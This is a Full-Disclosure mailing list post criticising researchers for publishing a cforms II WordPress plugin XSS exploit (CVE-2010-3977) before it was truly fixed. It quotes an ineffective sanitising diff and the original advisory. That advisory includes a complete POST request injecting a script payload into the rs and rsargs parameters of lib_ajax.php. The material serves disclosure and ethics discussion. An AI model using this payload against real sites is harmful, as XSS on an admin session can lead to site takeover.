[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

[Full-disclosure] 0-DAY XSS of cforms II is now fixed after a year and four months (was Re: cforms WordPress Plugin Cross Site Scripting Vulnerability - CVE-2010-3977)

I've reported the following XSS vulnerability in cforms II. This vulnerability 
has been fixed on February 14, 2012 by its developer.

WordPress cformsII Plugin "rs" Cross-Site Scripting Vulnerability - Secunia.com
http://secunia.com/advisories/47984/

You might see this is a normal XSS vulnerability, but this isn't.

Because EXPLOIT CODE IS PUBLISHED AS 0-DAY ON Oct 30, 2010 in this list!

Are you puzzled?

Actually, the above vulnerability is the same with CVE-2010-3977, is brought by 
Rodrigo Branco and Wagner Elias.

Secunia has published the related advisory on Nov 1, 2010: 
http://secunia.com/advisories/42006. According to Secunia, this vulnerability 
is fixed in v11.6.1. v11.6.1 is released on Sep 22, 2010.

So you might image the following story.

  1. Rodrigo (or Wagner) reported this vulnerability to the developer
  2. The developer released new version for fix the XSS
  3. Rodrigo (and/or Wagner) confirmed that fix
  4. Rodrigo reports this vulnerability to this list

However, this is not truth. The developer of cforms didn't fix this XSS at this 
point.

So what he has "fixed"? See the following diff::

    --- cforms-v11.5/lib_ajax.php       2009-09-18 10:29:06.000000000 +0900
    +++ cforms-v11.6.1/lib_ajax.php     2010-09-22 07:41:54.000000000 +0900
    @@ -627,16 +627,16 @@
                ###  always modified
                header ("Cache-Control: no-cache, must-revalidate");  ###  
HTTP/1.1
                header ("Pragma: no-cache");                          ###  
HTTP/1.0
    -                   $func_name = $_GET["rs"];
    +                   $func_name = sajax_sanitize( $_GET["rs"] );
                if (! empty($_GET["rsargs"]))
    -                           $args = $_GET["rsargs"];
    +                           $args = sajax_sanitize( $_GET["rsargs"] );
                else
                    $args = array();
            }
            else {
    -                   $func_name = $_POST["rs"];
    +                   $func_name = sajax_sanitize( $_POST["rs"] );
                if (! empty($_POST["rsargs"]))
    -                           $args = $_POST["rsargs"];
    +                           $args = sajax_sanitize( $_POST["rsargs"] );
                else
                    $args = array();
            }
    @@ -651,6 +651,14 @@
            exit;
        }
     
    +   ### sanitize
    +   function sajax_sanitize($t) {
    +           //$t = preg_replace('/\s/', '', $t);
    +           $t = str_replace('<php', '', $t);
    +           $t = str_replace('<?', '', $t);
    +           return $t;
    +   }
    +
        ###  javascript escape a value
        function sajax_esc($val)
        {

WTF!? This looks like fix for PHP code execution vulnerability, but there are 
no such vulnerabilities!

Hey, Rodrigo and Wagner, do YOU see the above as fix for XSS? Really?

So, the XSS was not fixed in v11.6.1. Of course the exploit code that was 
posted by Rodrigo, was available in many site until February 14, 2012.

XSS vulnerability in WordPress and its plugin is too dangerous because if 
attacker gets full privileges of admin user by that vulnerability, he can write 
and execute any PHP code by using theme editing feature (if the target file is 
writable).

As you can see, Rodrigo has done is throwing every cforms users into crisis and 
nothing more.

Since exploit code is published before fix, there should be attacker who 
focuses this vulnerability. If so, many sites may be attacked by this 
vulnerability even if the admin never failed to apply security fix.


Rodrigo and Wagner, I have some questions to you.

First, you must have reported to the developer, but in what way? Confusing the 
XSS vulnerability with PHP code execution vulnerability is so funny. I can't 
help feeling that you told it sloppily. 
Second, why didn't you confirm the fix before publishing exploit?


And I'd like to ask ALL SECURITY RESEARCHERS (of course including Rodrigo and 
Wagner).

For what do you research security? What is your "security"? To protect people 
from threat? Or throw people into crisis? Do you recognize effects of your 
halfway job like this case?

Please reconsider this.


Thanks,
Kousuke

(10/10/31 0:13), Rodrigo Branco wrote:
> Dear List,
> 
> I'm writing on behalf of the Check Point Vulnerability Discovery Team to 
> publish the following vulnerability.
> 
> 
> 
> Check Point Software Technologies - Vulnerability Discovery Team (VDT)
> http://www.checkpoint.com/defense/
> 
> cforms WordPress Plugin Cross Site Scripting Vulnerability
> CVE-2010-3977
> 
> 
> INTRODUCTION
> 
> According to Delicious Days, "cforms is a powerful and feature rich form 
> plugin for WordPress, offering convenient deployment of multiple Ajax 
> driven contact forms throughout your blog or even on the same page."
> 
> This problem was confirmed in the following versions of the cforms WordPress 
> Plugin, other versions 
> maybe also affected.
> 
> cforms v11.5
> 
> 
> CVSS Scoring System
> 
> The CVSS score is: 5.5
>       Base Score: 6.7
>       Temporal Score: 5.5
> We used the following values to calculate the scores:
>       Base score is: AV:N/AC:L/Au:N/C:C/I:C/A:N
>       Temporal score is: E:F/RL:OF/RC:C
> 
> 
> DETAILS
> 
> A data array is created in lib_ajax.php using values from a form field in a 
> POST request.  The parameters rs and rsargs are not validated and thus
> it is possible to inject code.
> 
> Request:
> http://<server>/wp-content/plugins/cforms/lib_ajax.php
> POST /wp-content/plugins/cforms/lib_ajax.php HTTP/1.1
> Host: <server>
> User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:
> 1.9.2.10) Gecko/20100914 Firefox/3.6.10
> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
> Accept-Language: en-us,en;q=0.5
> Accept-Encoding: gzip,deflate
> Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
> Keep-Alive: 115
> Connection: keep-alive
> Content-Type: application/x-www-form-urlencoded; charset=UTF-8
> Content-Length: 219
> Cookie: wp-settings-1=m0%3Do%26m1%3Do%26m2%3Do%26m3%3Do%26m4%3Do%26m5%3Do
> %26m6%3Do%26m7%3Do%26m8%3Do%26urlbutton%3Dnone%26editor%3Dtinymce
> %26imgsize%3Dfull%26align%3Dcenter%26hidetb%3D1%26m9%3Dc%26m10%3Do
> %26uploader%3D1%26m11%3Do; wp-settings-time-1=1285758765;
> c o m m e n t _ a u t h o r _ 9 3 f 4 1 b a 0 b 1 6 f 3 4 6 7 6 f 8 0 2 0 5 8 
> e 8 2 3 8 8 f 6 = t e s t  ;
> comment_author_email_93f41ba0b16f34676f802058e82388f6=rbranco_nospam
> %40checkpoint.com
> Pragma: no-cache
> Cache-Control: no-cache
> rs=<script>alert(1)</script>&rst=&rsrnd=1287506634854&rsargs[]=1$#
> $<script>alert(1)</script>$#$rbranco_nospam@xxxxxxxxxxxxxx$#$http://
> www.checkpoint.com$#$<script>alert(1)</script>
> 
> 
> 
> CREDITS
> 
> This vulnerability has been brought to our attention by Wagner Elias from 
> Conviso IT Security company (http://www.conviso.com.br) and researched 
> internally by Rodrigo Rubira Branco from the Check Point Vulnerability 
> Discovery Team (VDT).
> 
> 
> 
> 
> Best Regards,
>  
> Rodrigo.
>  
> --
> Rodrigo Rubira Branco
> Senior Security Researcher
> Vulnerability Discovery Team (VDT)
> Check Point Software Technologies


-- 
Kousuke Ebihara <kousuke@xxxxxxxx>
http://co3k.org/

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/